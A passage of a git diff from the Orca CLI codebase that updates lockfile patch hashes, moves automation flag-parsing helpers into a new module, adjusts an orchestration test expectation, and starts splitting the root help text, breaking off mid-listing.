     hash: 7333b3837f80a7fbd045964db6d76ba4fc118e49134bdbabb00585b6b7b60673
     path: config/patches/lint-staged@16.4.0.patch
   node-pty@1.1.0:
-    hash: 9c665d9e41571341cb8986607d531b953a7f32c0dd60e1e74e633c098d80f2c1
+    hash: 9a2eedbf2448b8ff1387a8a740ee5e4e968bf8484d7d80e12a3f6a2dc26b0e17
     path: config/patches/node-pty@1.1.0.patch
 
 importers:
@@ -69,7 +69,7 @@ importers:
         version: 3.3.1
       node-pty:
         specifier: ^1.1.0
-        version: 1.1.0(patch_hash=9c665d9e41571341cb8986607d531b953a7f32c0dd60e1e74e633c098d80f2c1)
+        version: 1.1.0(patch_hash=9a2eedbf2448b8ff1387a8a740ee5e4e968bf8484d7d80e12a3f6a2dc26b0e17)
       posthog-node:
         specifier: ^5.33.3
         version: 5.33.3
@@ -407,7 +407,7 @@ importers:
     optionalDependencies:
       '@vscode/windows-process-tree':
         specifier: 0.8.0
-        version: 0.8.0(patch_hash=73a90530e6b95c05dac50f2c48787fb51cb292587773016ebe57eb05e41075a0)
+        version: 0.8.0(patch_hash=946ffb2b1026bcb554d9920681fb00f546c28fc5de6d95a877d198b49bf73988)
       sherpa-onnx-darwin-arm64:
         specifier: 1.12.37
         version: 1.12.37
@@ -9605,7 +9605,7 @@ snapshots:
       convert-source-map: 2.0.0
       tinyrainbow: 3.1.0
 
-  '@vscode/windows-process-tree@0.8.0(patch_hash=73a90530e6b95c05dac50f2c48787fb51cb292587773016ebe57eb05e41075a0)':
+  '@vscode/windows-process-tree@0.8.0(patch_hash=946ffb2b1026bcb554d9920681fb00f546c28fc5de6d95a877d198b49bf73988)':
     dependencies:
       node-addon-api: 7.1.0
     optional: true
@@ -12046,7 +12046,7 @@ snapshots:
 
   node-int64@0.4.0: {}
 
-  node-pty@1.1.0(patch_hash=9c665d9e41571341cb8986607d531b953a7f32c0dd60e1e74e633c098d80f2c1):
+  node-pty@1.1.0(patch_hash=9a2eedbf2448b8ff1387a8a740ee5e4e968bf8484d7d80e12a3f6a2dc26b0e17):
     dependencies:
       node-addon-api: 7.1.1
 
diff --git a/src/cli/handlers/automation-handler-flags.ts b/src/cli/handlers/automation-handler-flags.ts
new file mode 100644
index 00000000000..c67f592ab7c
--- /dev/null
+++ b/src/cli/handlers/automation-handler-flags.ts
@@ -0,0 +1,308 @@
+import type { AutomationPrecheck, AutomationSchedulePreset } from '../../shared/automations-types'
+import {
+  normalizeTaskSourceContext,
+  type TaskSourceContext
+} from '../../shared/task-source-context'
+import type { TuiAgent } from '../../shared/tui-agent'
+import {
+  DEFAULT_AUTOMATION_PRECHECK_TIMEOUT_SECONDS,
+  MAX_AUTOMATION_PRECHECK_TIMEOUT_SECONDS
+} from '../../shared/automation-precheck'
+import { buildAutomationRrule } from '../../shared/automation-schedule-occurrences'
+import { isValidAutomationSchedule } from '../../shared/automation-schedule-parsing'
+import { isTuiAgent } from '../../shared/tui-agent-config'
+import {
+  getOptionalPositiveIntegerFlag,
+  getOptionalStringFlag,
+  getRequiredStringFlag
+} from '../flags'
+import { RuntimeClientError } from '../runtime-client'
+
+const PRESET_TRIGGERS = new Set<AutomationSchedulePreset>(['hourly', 'daily', 'weekdays', 'weekly'])
+const SCHEDULE_MODIFIER_FLAGS = ['day', 'time'] as const
+
+function getScheduleModifierFlag(flags: Map<string, string | boolean>): string | undefined {
+  return SCHEDULE_MODIFIER_FLAGS.find((flag) => flags.has(flag))
+}
+
+function validateScheduleModifierApplicability(
+  flags: Map<string, string | boolean>,
+  raw: string
+): void {
+  const isPreset = PRESET_TRIGGERS.has(raw as AutomationSchedulePreset)
+  if (!isPreset) {
+    if (flags.has('time')) {
+      throw new RuntimeClientError(
+        'invalid_argument',
+        '--time can only be used with preset automation triggers'
+      )
+    }
+    if (flags.has('day')) {
+      throw new RuntimeClientError(
+        'invalid_argument',
+        '--day can only be used with the weekly automation preset'
+      )
+    }
+    return
+  }
+  if (raw === 'hourly' && flags.has('time')) {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      '--time cannot be used with the hourly automation preset; use a cron trigger such as "30 * * * *" to choose the minute'
+    )
+  }
+  if (raw !== 'weekly' && flags.has('day')) {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      '--day can only be used with the weekly automation preset'
+    )
+  }
+}
+
+function getOptionalDayFlag(flags: Map<string, string | boolean>): number | undefined {
+  const raw = flags.get('day')
+  if (raw === undefined) {
+    return undefined
+  }
+  const day = typeof raw === 'string' && /^\d+$/.test(raw) ? Number(raw) : Number.NaN
+  if (!Number.isInteger(day) || day < 0 || day > 6) {
+    throw new RuntimeClientError('invalid_argument', '--day must be an integer from 0 to 6')
+  }
+  return day
+}
+
+export function getProviderFlag(flags: Map<string, string | boolean>): TuiAgent {
+  const provider = getRequiredStringFlag(flags, 'provider')
+  if (!isTuiAgent(provider)) {
+    throw new RuntimeClientError('invalid_argument', `Unknown provider: ${provider}`)
+  }
+  return provider
+}
+
+export function getOptionalProviderFlag(
+  flags: Map<string, string | boolean>
+): TuiAgent | undefined {
+  const provider = getOptionalStringFlag(flags, 'provider')
+  if (provider === undefined) {
+    return undefined
+  }
+  if (!isTuiAgent(provider)) {
+    throw new RuntimeClientError('invalid_argument', `Unknown provider: ${provider}`)
+  }
+  return provider
+}
+
+function getTimeFlag(flags: Map<string, string | boolean>): { hour: number; minute: number } {
+  const value = flags.get('time')
+  if (value === undefined) {
+    return { hour: 9, minute: 0 }
+  }
+  if (typeof value !== 'string' || value.length === 0) {
+    throw new RuntimeClientError('invalid_argument', '--time must use HH:MM format')
+  }
+  return parseTimeFlag(value)
+}
+
+function parseTimeFlag(value: string): { hour: number; minute: number } {
+  const match = /^(\d{1,2}):(\d{2})$/.exec(value)
+  if (!match) {
+    throw new RuntimeClientError('invalid_argument', '--time must use HH:MM format')
+  }
+  const hour = Number(match[1])
+  const minute = Number(match[2])
+  if (!Number.isInteger(hour) || hour < 0 || hour > 23 || minute < 0 || minute > 59) {
+    throw new RuntimeClientError('invalid_argument', '--time must be a valid 24-hour time')
+  }
+  return { hour, minute }
+}
+
+export function getScheduleFlag(
+  flags: Map<string, string | boolean>,
+  required: boolean
+): { rrule: string; dtstart: number } | undefined {
+  const trigger = getOptionalStringFlag(flags, 'trigger')
+  const schedule = getOptionalStringFlag(flags, 'schedule')
+  if (trigger && schedule) {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      'Use either --trigger or --schedule, not both.'
+    )
+  }
+  const raw = trigger ?? schedule
+  if (!raw) {
+    const modifier = getScheduleModifierFlag(flags)
+    if (modifier) {
+      throw new RuntimeClientError(
+        'invalid_argument',
+        `--${modifier} requires --trigger or --schedule`
+      )
+    }
+    if (required) {
+      throw new RuntimeClientError('invalid_argument', 'Missing required --trigger')
+    }
+    return undefined
+  }
+  if (raw === 'manual') {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      'Manual-only automations are not supported yet. Create a scheduled automation with --disabled and run it with `orca automations run <id>` when needed.'
+    )
+  }
+  validateScheduleModifierApplicability(flags, raw)
+  const { hour, minute } = raw === 'hourly' ? { hour: 0, minute: 0 } : getTimeFlag(flags)
+  const dayOfWeek = raw === 'weekly' ? (getOptionalDayFlag(flags) ?? 1) : 1
+  const rrule = PRESET_TRIGGERS.has(raw as AutomationSchedulePreset)
+    ? buildAutomationRrule({
+        preset: raw as Exclude<AutomationSchedulePreset, 'custom'>,
+        hour,
+        minute,
+        dayOfWeek
+      })
+    : raw
+  if (!isValidAutomationSchedule(rrule)) {
+    throw new RuntimeClientError('invalid_argument', `Invalid automation trigger: ${raw}`)
+  }
+  return { rrule, dtstart: Date.now() }
+}
+
+export function getEnabledFlag(flags: Map<string, string | boolean>): boolean | undefined {
+  const enabledFlag = flags.get('enabled')
+  const disabledFlag = flags.get('disabled')
+  if (typeof enabledFlag === 'string') {
+    throw new RuntimeClientError('invalid_argument', '--enabled does not take a value')
+  }
+  if (typeof disabledFlag === 'string') {
+    throw new RuntimeClientError('invalid_argument', '--disabled does not take a value')
+  }
+  const enabled = enabledFlag === true
+  const disabled = disabledFlag === true
+  if (enabled && disabled) {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      'Use either --enabled or --disabled, not both.'
+    )
+  }
+  if (enabled) {
+    return true
+  }
+  if (disabled) {
+    return false
+  }
+  return undefined
+}
+
+export function getReuseSessionFlag(flags: Map<string, string | boolean>): boolean | undefined {
+  const reuseFlag = flags.get('reuse-session')
+  const freshFlag = flags.get('fresh-session')
+  if (typeof reuseFlag === 'string') {
+    throw new RuntimeClientError('invalid_argument', '--reuse-session does not take a value')
+  }
+  if (typeof freshFlag === 'string') {
+    throw new RuntimeClientError('invalid_argument', '--fresh-session does not take a value')
+  }
+  const reuse = reuseFlag === true
+  const fresh = freshFlag === true
+  if (reuse && fresh) {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      'Use either --reuse-session or --fresh-session, not both.'
+    )
+  }
+  if (reuse) {
+    return true
+  }
+  if (fresh) {
+    return false
+  }
+  return undefined
+}
+
+export function getPrecheckFlag(
+  flags: Map<string, string | boolean>
+): AutomationPrecheck | null | undefined {
+  const hasPrecheck = flags.has('precheck')
+  const timeoutSeconds = getOptionalPositiveIntegerFlag(flags, 'precheck-timeout')
+  if (!hasPrecheck) {
+    if (timeoutSeconds !== undefined) {
+      throw new RuntimeClientError('invalid_argument', '--precheck-timeout requires --precheck')
+    }
+    return undefined
+  }
+  const value = flags.get('precheck')
+  if (typeof value !== 'string') {
+    throw new RuntimeClientError('invalid_argument', '--precheck requires a command')
+  }
+  const command = value.trim()
+  if (!command) {
+    return null
+  }
+  if (timeoutSeconds !== undefined && timeoutSeconds > MAX_AUTOMATION_PRECHECK_TIMEOUT_SECONDS) {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      `--precheck-timeout must be at most ${MAX_AUTOMATION_PRECHECK_TIMEOUT_SECONDS} seconds`
+    )
+  }
+  return {
+    command,
+    timeoutSeconds: timeoutSeconds ?? DEFAULT_AUTOMATION_PRECHECK_TIMEOUT_SECONDS
+  }
+}
+
+export function getSourceContextFlag(
+  flags: Map<string, string | boolean>
+): TaskSourceContext | null | undefined {
+  if (!flags.has('source-context')) {
+    return undefined
+  }
+  const value = flags.get('source-context')
+  if (typeof value !== 'string') {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      '--source-context requires a JSON TaskSourceContext or null'
+    )
+  }
+  let parsed: unknown
+  try {
+    parsed = JSON.parse(value)
+  } catch {
+    throw new RuntimeClientError('invalid_argument', '--source-context must be valid JSON')
+  }
+  if (parsed === null) {
+    return null
+  }
+  if (!parsed || typeof parsed !== 'object') {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      '--source-context must be a JSON TaskSourceContext or null'
+    )
+  }
+  const sourceContext = normalizeTaskSourceContext(
+    parsed as Parameters<typeof normalizeTaskSourceContext>[0]
+  )
+  if (!sourceContext) {
+    throw new RuntimeClientError(
+      'invalid_argument',
+      '--source-context is not a valid TaskSourceContext'
+    )
+  }
+  return sourceContext
+}
+
+export function getWorkspaceModeFlag(
+  flags: Map<string, string | boolean>
+): 'existing' | 'new_per_run' | undefined {
+  const value = getOptionalStringFlag(flags, 'workspace-mode')
+  if (value === undefined) {
+    return undefined
+  }
+  if (value === 'existing') {
+    return 'existing'
+  }
+  if (value === 'new-per-run' || value === 'new_per_run') {
+    return 'new_per_run'
+  }
+  throw new RuntimeClientError(
+    'invalid_argument',
+    '--workspace-mode must be existing or new-per-run'
+  )
+}
diff --git a/src/cli/handlers/automations.ts b/src/cli/handlers/automations.ts
index d413b8a2a79..a9a14cc7d78 100644
--- a/src/cli/handlers/automations.ts
+++ b/src/cli/handlers/automations.ts
@@ -1,16 +1,11 @@
-/* eslint-disable max-lines -- Why: automation handlers share schedule parsing, target resolution, and RPC payload shaping for one command family. */
 import type {
   Automation,
   AutomationCreateInput,
-  AutomationPrecheck,
   AutomationRun,
-  AutomationSchedulePreset,
   AutomationUpdateInput
 } from '../../shared/automations-types'
 import {
   buildWorkspaceRunContext,
-  normalizeTaskSourceContext,
-  type TaskSourceContext,
   type WorkspaceRunContext
 } from '../../shared/task-source-context'
 import type {
@@ -18,13 +13,6 @@ import type {
   AutomationOwnerPrecondition
 } from '../../shared/automation-owner-precondition'
 import type { ProjectHostSetup } from '../../shared/project-types'
-import type { TuiAgent } from '../../shared/tui-agent'
-import {
-  DEFAULT_AUTOMATION_PRECHECK_TIMEOUT_SECONDS,
-  MAX_AUTOMATION_PRECHECK_TIMEOUT_SECONDS
-} from '../../shared/automation-precheck'
-import { buildAutomationRrule, isValidAutomationSchedule } from '../../shared/automation-schedules'
-import { isTuiAgent } from '../../shared/tui-agent-config'
 import type { CommandHandler } from '../dispatch'
 import {
   formatAutomationList,
@@ -48,6 +36,16 @@ import {
   hasWorkspaceProjectTarget,
   resolveProjectCreateTarget
 } from '../worktree-project-target'
+import {
+  getEnabledFlag,
+  getOptionalProviderFlag,
+  getPrecheckFlag,
+  getProviderFlag,
+  getReuseSessionFlag,
+  getScheduleFlag,
+  getSourceContextFlag,
+  getWorkspaceModeFlag
+} from './automation-handler-flags'
 
 type AutomationCreateParams = Omit<AutomationCreateInput, 'projectId' | 'timezone'> & {
   destination?: AutomationDestination
@@ -61,293 +59,6 @@ type AutomationUpdateParams = AutomationUpdateInput & {
   workspace?: string
 }
 
-const PRESET_TRIGGERS = new Set<AutomationSchedulePreset>(['hourly', 'daily', 'weekdays', 'weekly'])
-const SCHEDULE_MODIFIER_FLAGS = ['day', 'time'] as const
-
-function getScheduleModifierFlag(flags: Map<string, string | boolean>): string | undefined {
-  return SCHEDULE_MODIFIER_FLAGS.find((flag) => flags.has(flag))
-}
-
-function validateScheduleModifierApplicability(
-  flags: Map<string, string | boolean>,
-  raw: string
-): void {
-  const isPreset = PRESET_TRIGGERS.has(raw as AutomationSchedulePreset)
-  if (!isPreset) {
-    if (flags.has('time')) {
-      throw new RuntimeClientError(
-        'invalid_argument',
-        '--time can only be used with preset automation triggers'
-      )
-    }
-    if (flags.has('day')) {
-      throw new RuntimeClientError(
-        'invalid_argument',
-        '--day can only be used with the weekly automation preset'
-      )
-    }
-    return
-  }
-  if (raw === 'hourly' && flags.has('time')) {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      '--time cannot be used with the hourly automation preset; use a cron trigger such as "30 * * * *" to choose the minute'
-    )
-  }
-  if (raw !== 'weekly' && flags.has('day')) {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      '--day can only be used with the weekly automation preset'
-    )
-  }
-}
-
-function getOptionalDayFlag(flags: Map<string, string | boolean>): number | undefined {
-  const raw = flags.get('day')
-  if (raw === undefined) {
-    return undefined
-  }
-  const day = typeof raw === 'string' && /^\d+$/.test(raw) ? Number(raw) : Number.NaN
-  if (!Number.isInteger(day) || day < 0 || day > 6) {
-    throw new RuntimeClientError('invalid_argument', '--day must be an integer from 0 to 6')
-  }
-  return day
-}
-
-function getProviderFlag(flags: Map<string, string | boolean>): TuiAgent {
-  const provider = getRequiredStringFlag(flags, 'provider')
-  if (!isTuiAgent(provider)) {
-    throw new RuntimeClientError('invalid_argument', `Unknown provider: ${provider}`)
-  }
-  return provider
-}
-
-function getOptionalProviderFlag(flags: Map<string, string | boolean>): TuiAgent | undefined {
-  const provider = getOptionalStringFlag(flags, 'provider')
-  if (provider === undefined) {
-    return undefined
-  }
-  if (!isTuiAgent(provider)) {
-    throw new RuntimeClientError('invalid_argument', `Unknown provider: ${provider}`)
-  }
-  return provider
-}
-
-function getTimeFlag(flags: Map<string, string | boolean>): { hour: number; minute: number } {
-  const value = flags.get('time')
-  if (value === undefined) {
-    return { hour: 9, minute: 0 }
-  }
-  if (typeof value !== 'string' || value.length === 0) {
-    throw new RuntimeClientError('invalid_argument', '--time must use HH:MM format')
-  }
-  return parseTimeFlag(value)
-}
-
-function parseTimeFlag(value: string): { hour: number; minute: number } {
-  const match = /^(\d{1,2}):(\d{2})$/.exec(value)
-  if (!match) {
-    throw new RuntimeClientError('invalid_argument', '--time must use HH:MM format')
-  }
-  const hour = Number(match[1])
-  const minute = Number(match[2])
-  if (!Number.isInteger(hour) || hour < 0 || hour > 23 || minute < 0 || minute > 59) {
-    throw new RuntimeClientError('invalid_argument', '--time must be a valid 24-hour time')
-  }
-  return { hour, minute }
-}
-
-function getScheduleFlag(
-  flags: Map<string, string | boolean>,
-  required: boolean
-): { rrule: string; dtstart: number } | undefined {
-  const trigger = getOptionalStringFlag(flags, 'trigger')
-  const schedule = getOptionalStringFlag(flags, 'schedule')
-  if (trigger && schedule) {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      'Use either --trigger or --schedule, not both.'
-    )
-  }
-  const raw = trigger ?? schedule
-  if (!raw) {
-    const modifier = getScheduleModifierFlag(flags)
-    if (modifier) {
-      throw new RuntimeClientError(
-        'invalid_argument',
-        `--${modifier} requires --trigger or --schedule`
-      )
-    }
-    if (required) {
-      throw new RuntimeClientError('invalid_argument', 'Missing required --trigger')
-    }
-    return undefined
-  }
-  if (raw === 'manual') {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      'Manual-only automations are not supported yet. Create a scheduled automation with --disabled and run it with `orca automations run <id>` when needed.'
-    )
-  }
-  validateScheduleModifierApplicability(flags, raw)
-  const { hour, minute } = raw === 'hourly' ? { hour: 0, minute: 0 } : getTimeFlag(flags)
-  const dayOfWeek = raw === 'weekly' ? (getOptionalDayFlag(flags) ?? 1) : 1
-  const rrule = PRESET_TRIGGERS.has(raw as AutomationSchedulePreset)
-    ? buildAutomationRrule({
-        preset: raw as Exclude<AutomationSchedulePreset, 'custom'>,
-        hour,
-        minute,
-        dayOfWeek
-      })
-    : raw
-  if (!isValidAutomationSchedule(rrule)) {
-    throw new RuntimeClientError('invalid_argument', `Invalid automation trigger: ${raw}`)
-  }
-  return { rrule, dtstart: Date.now() }
-}
-
-function getEnabledFlag(flags: Map<string, string | boolean>): boolean | undefined {
-  const enabledFlag = flags.get('enabled')
-  const disabledFlag = flags.get('disabled')
-  if (typeof enabledFlag === 'string') {
-    throw new RuntimeClientError('invalid_argument', '--enabled does not take a value')
-  }
-  if (typeof disabledFlag === 'string') {
-    throw new RuntimeClientError('invalid_argument', '--disabled does not take a value')
-  }
-  const enabled = enabledFlag === true
-  const disabled = disabledFlag === true
-  if (enabled && disabled) {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      'Use either --enabled or --disabled, not both.'
-    )
-  }
-  if (enabled) {
-    return true
-  }
-  if (disabled) {
-    return false
-  }
-  return undefined
-}
-
-function getReuseSessionFlag(flags: Map<string, string | boolean>): boolean | undefined {
-  const reuseFlag = flags.get('reuse-session')
-  const freshFlag = flags.get('fresh-session')
-  if (typeof reuseFlag === 'string') {
-    throw new RuntimeClientError('invalid_argument', '--reuse-session does not take a value')
-  }
-  if (typeof freshFlag === 'string') {
-    throw new RuntimeClientError('invalid_argument', '--fresh-session does not take a value')
-  }
-  const reuse = reuseFlag === true
-  const fresh = freshFlag === true
-  if (reuse && fresh) {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      'Use either --reuse-session or --fresh-session, not both.'
-    )
-  }
-  if (reuse) {
-    return true
-  }
-  if (fresh) {
-    return false
-  }
-  return undefined
-}
-
-function getPrecheckFlag(
-  flags: Map<string, string | boolean>
-): AutomationPrecheck | null | undefined {
-  const hasPrecheck = flags.has('precheck')
-  const timeoutSeconds = getOptionalPositiveIntegerFlag(flags, 'precheck-timeout')
-  if (!hasPrecheck) {
-    if (timeoutSeconds !== undefined) {
-      throw new RuntimeClientError('invalid_argument', '--precheck-timeout requires --precheck')
-    }
-    return undefined
-  }
-  const value = flags.get('precheck')
-  if (typeof value !== 'string') {
-    throw new RuntimeClientError('invalid_argument', '--precheck requires a command')
-  }
-  const command = value.trim()
-  if (!command) {
-    return null
-  }
-  if (timeoutSeconds !== undefined && timeoutSeconds > MAX_AUTOMATION_PRECHECK_TIMEOUT_SECONDS) {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      `--precheck-timeout must be at most ${MAX_AUTOMATION_PRECHECK_TIMEOUT_SECONDS} seconds`
-    )
-  }
-  return {
-    command,
-    timeoutSeconds: timeoutSeconds ?? DEFAULT_AUTOMATION_PRECHECK_TIMEOUT_SECONDS
-  }
-}
-
-function getSourceContextFlag(
-  flags: Map<string, string | boolean>
-): TaskSourceContext | null | undefined {
-  if (!flags.has('source-context')) {
-    return undefined
-  }
-  const value = flags.get('source-context')
-  if (typeof value !== 'string') {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      '--source-context requires a JSON TaskSourceContext or null'
-    )
-  }
-  let parsed: unknown
-  try {
-    parsed = JSON.parse(value)
-  } catch {
-    throw new RuntimeClientError('invalid_argument', '--source-context must be valid JSON')
-  }
-  if (parsed === null) {
-    return null
-  }
-  if (!parsed || typeof parsed !== 'object') {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      '--source-context must be a JSON TaskSourceContext or null'
-    )
-  }
-  const sourceContext = normalizeTaskSourceContext(
-    parsed as Parameters<typeof normalizeTaskSourceContext>[0]
-  )
-  if (!sourceContext) {
-    throw new RuntimeClientError(
-      'invalid_argument',
-      '--source-context is not a valid TaskSourceContext'
-    )
-  }
-  return sourceContext
-}
-
-function getWorkspaceModeFlag(
-  flags: Map<string, string | boolean>
-): 'existing' | 'new_per_run' | undefined {
-  const value = getOptionalStringFlag(flags, 'workspace-mode')
-  if (value === undefined) {
-    return undefined
-  }
-  if (value === 'existing') {
-    return 'existing'
-  }
-  if (value === 'new-per-run' || value === 'new_per_run') {
-    return 'new_per_run'
-  }
-  throw new RuntimeClientError(
-    'invalid_argument',
-    '--workspace-mode must be existing or new-per-run'
-  )
-}
-
 async function resolveDefaultTarget(
   flags: Map<string, string | boolean>,
   cwd: string,
diff --git a/src/cli/handlers/orchestration-gate-cli.test.ts b/src/cli/handlers/orchestration-gate-cli.test.ts
index 0bcdddbc98e..b4be315c155 100644
--- a/src/cli/handlers/orchestration-gate-cli.test.ts
+++ b/src/cli/handlers/orchestration-gate-cli.test.ts
@@ -206,6 +206,16 @@ describe('orchestration gate commands carry caller identity', () => {
           'The Orca runtime closed the connection before responding. Restart Orca and try again. Orchestration mutation request ID: mutation_1.',
           {
             orchestrationRequestId: 'mutation_1',
+            originalCommand: [
+              'orca',
+              'orchestration',
+              'gate-create',
+              '--task',
+              'task_1',
+              '--question',
+              'ship?',
+              '--json'
+            ],
             failedStage: 'dispatch_input',
             residualResources: [
               { kind: 'worktree', id: 'repo::child' },
diff --git a/src/cli/help.ts b/src/cli/help.ts
index d43c8294963..7a6b3686123 100644
--- a/src/cli/help.ts
+++ b/src/cli/help.ts
@@ -1,371 +1,10 @@
-/* eslint-disable max-lines -- Why: root and generated command help text live together so CLI discovery stays greppable. */
 import type { CommandSpec } from './args'
 import { findCommandSpec, isCommandGroup, supportsBrowserPageFlag } from './args'
 import { unknownCommandData } from './command-suggestion'
+import { ROOT_HELP_TEXT_PRIMARY } from './root-help-text-primary'
+import { ROOT_HELP_TEXT_SECONDARY } from './root-help-text-secondary'
 
-const ROOT_HELP_TEXT = `orca
-
-Usage: orca <command> [options]
-
-Startup:
-  open                      Launch Orca and wait for the runtime to be reachable
-  serve                     Start a headless Orca runtime server
-  status                    Show app/runtime/graph readiness
-
-Diagnostics:
-  diagnostics memory        Collect a memory snapshot for Orca and managed terminals
-
-Agent Discovery:
-  agent-context             Print the machine-readable command schema for agents
-
-Accounts:
-  account add               Add a managed Claude or Codex account on this Orca host
-  account list              List managed Claude and Codex accounts on this Orca host
-
-Skills:
-  skills installed          List installed skill selectors
-  skills share              Publish selected skills behind one unlisted link
-  skills list               List version-matched skill guides bundled with this Orca CLI
-  skills get                Print a version-matched skill guide as Markdown
-  skills install            Install bundled Orca skills globally via the community skills CLI
-  skills update             Update already-installed Orca skills via the community skills CLI
-
-Hosts:
-  host list                 List targetable machines and how to name each one
-
-Environments:
-  environment add           Save a remote Orca runtime from a pairing code
-  environment list          List saved remote Orca runtimes
-  environment show          Show one saved remote Orca runtime
-  environment rm            Remove a saved remote Orca runtime
-
-Environment Recipes:
-  vm recipe doctor          Validate a per-workspace environment recipe
-
-Automations:
-  automations list          List scheduled Orca automations
-  automations show          Show one Orca automation
-  automations create        Create a scheduled Orca automation
-  automations edit          Edit an Orca automation
-  automations remove        Remove an Orca automation and its run history
-  automations run           Run an Orca automation now
-  automations runs          List automation run history
-
-Projects:
-  project list              List durable projects known to Orca
-  project setups            List project host setups
-  project setup-existing-folder Make a project available on a host by importing an existing folder
-  project setup-clone       Make a project available on a host by cloning a repository
-  project setup-create      Create independent project host setup metadata
-  project setup-update      Update project host setup metadata
-  project setup-delete      Remove a project host setup
-
-Repos:
-  repo list                 List repos registered in Orca
-  repo add                  Add a project to Orca by filesystem path
-  repo show                 Show one registered repo
-  repo set-base-ref         Set the repo's default base ref for future worktrees
-  repo search-refs          Search branch/tag refs within a repo
-
-Worktrees:
-  worktree list             List Orca-managed worktrees
-  worktree show             Show one worktree
-  worktree current          Show the Orca-managed worktree for the current directory
-  worktree create           Create a new Orca-managed worktree
-  worktree set              Update Orca metadata for a worktree
-  worktree rm               Remove a worktree from Orca and git
-  worktree ps               Show a compact orchestration summary across worktrees
-
-Files:
-  file open                 Open a workspace file in the Orca editor
-  file diff                 Open a workspace file diff in the Orca editor
-  file open-changed         Open all git-changed files for a workspace
-
-Terminals:
-  terminal list             List live Orca-managed terminals
-  terminal show             Show terminal metadata and preview
-  terminal read             Read bounded terminal output
-  terminal send             Send input to a live terminal
-  terminal wait             Wait for a terminal condition (exit, tui-idle)
-  terminal stop             Stop terminals for a worktree
-  terminal create           Create a terminal session in a worktree
-  terminal rename           Set or clear the title of a terminal tab
-  terminal split            Split an existing terminal pane
-  terminal switch           Bring a terminal tab to the foreground
-  terminal focus            Alias for terminal switch
-  terminal close            Close a terminal pane/session, or its whole tab with --tab
-
-Orchestration:
-  orchestration run-create  Create and bind a lightweight orchestration Run
-  orchestration run-use     Bind this coordinator terminal to an existing Run
-  orchestration run-current Show this terminal's bound Run
-  orchestration run-list    List lightweight orchestration Runs
-  orchestration run-show    Show one lightweight orchestration Run
-  orchestration send        Send an inter-agent message
-  orchestration check       Check the bound Run mailbox
-  orchestration ask         Ask the coordinator a blocking question
-  orchestration reply       Reply to a message
-  orchestration inbox       Show all messages across recipients
-  orchestration task-create Create an orchestration task
-  orchestration task-list   List orchestration tasks
-  orchestration task-update Update a task status
-  orchestration dispatch    Dispatch a task to a terminal
-  orchestration dispatch-show Show dispatch context for a task
-  orchestration worker-start Start a supervised worker locally or on a connected Orca server
-  orchestration worker-show Inspect one supervised worker
-  orchestration worker-read Read bounded output from one supervised worker
-  orchestration worker-stop Fence one Dispatch; stop only its supervised worker
-  orchestration worker-abandon Fence an uncertain worker without claiming it stopped
-  orchestration worker-release Release a settled worker's terminal after archiving its output
-  orchestration worker-retain Keep a worker terminal live for debugging
-  orchestration worker-list Report worker terminal resource accounting
-  orchestration coordinator-start Start the legacy automatic coordinator loop
-  orchestration coordinator-stop Stop the legacy automatic coordinator loop
-  orchestration gate-create Create a decision gate blocking a task
-  orchestration gate-resolve Resolve a pending decision gate
-  orchestration gate-list   List decision gates
-  orchestration reset       Reset orchestration state
-
-Computer Use:
-  computer capabilities     Show computer-use provider capabilities
-  computer permissions      Show or open computer-use permission setup
-  computer list-apps        List running apps available to computer-use
-  computer list-windows     List visible windows for a target app
-  computer get-app-state    Capture a compact accessibility snapshot of an app
-  computer click            Click an app element or window coordinate
-  computer perform-secondary-action Run an advertised accessibility action
-  computer scroll           Scroll an app element
-  computer drag             Drag between app elements or window coordinates
-  computer type-text        Type literal text at the current app focus
-  computer press-key        Press a single key such as Return or Escape
-  computer hotkey           Press a shortcut combination such as CmdOrCtrl+A
-  computer paste-text       Paste text through the native clipboard path
-  computer set-value        Set the value of a settable app element
-
-Linear:
-  linear                    Read Linear ticket context for agents
-
-Mobile Emulator (iOS Simulator):
-  emulator list             List available/running emulators (Orca-managed + raw serve-sim)
-  emulator attach <device>  Attach/start helper and make active for the worktree
-  emulator tap <x> <y>      Tap at normalized 0..1 coords (preferred for single taps)
-  emulator type <text>      Type text (US ASCII only)
-  emulator gesture <json>   Send begin/move/end touch points
-  emulator button <name>    Hardware button (home, side_button, etc.)
-  emulator rotate <o>       Rotate device (portrait|landscape_left|...)
-  emulator exec --command   Raw serve-sim subcommand passthrough (no "serve-sim" prefix)
-  emulator kill             Stop helper for device
-
-Browser Automation:
-  tab create                Create a new browser tab (navigates to --url)
-  tab list                  List open browser tabs
-  tab show                  Show one browser tab by page id
-  tab current               Show the current browser tab
-  tab profile list          List browser session profiles
-  tab profile create        Create a browser session profile
-  tab profile delete        Delete a browser session profile
-  tab profile set           Switch a browser tab to a different profile
-  tab profile show          Show the profile bound to a browser tab
-  tab profile use-default   Switch a browser tab back to the default profile
-  tab profile clone         Clone a browser tab into another profile
-  tab switch                Switch the active browser tab by --index or --page
-  tab close                 Close a browser tab by --index/--page or the current tab
-  snapshot                  Accessibility snapshot with element refs (e.g. @e1, @e2)
-  goto                      Navigate the active tab to --url
-  click                     Click element by --element ref
-  fill                      Clear and fill input by --element ref with --value
-  type                      Type --input text at the current focus (no element needed)
-  select                    Select dropdown option by --element ref and --value
-  hover                     Hover element by --element ref
-  keypress                  Press a key (e.g. --key Enter, --key Tab)
-  scroll                    Scroll --direction (up/down) by --amount pixels
-  back                      Navigate back in browser history
-  reload                    Reload the active browser tab
-  screenshot                Capture viewport screenshot (--format png|jpeg)
-  eval                      Evaluate --expression JavaScript in the page context
-  wait                      Wait for page idle or --timeout ms
-  check                     Check a checkbox by --element ref
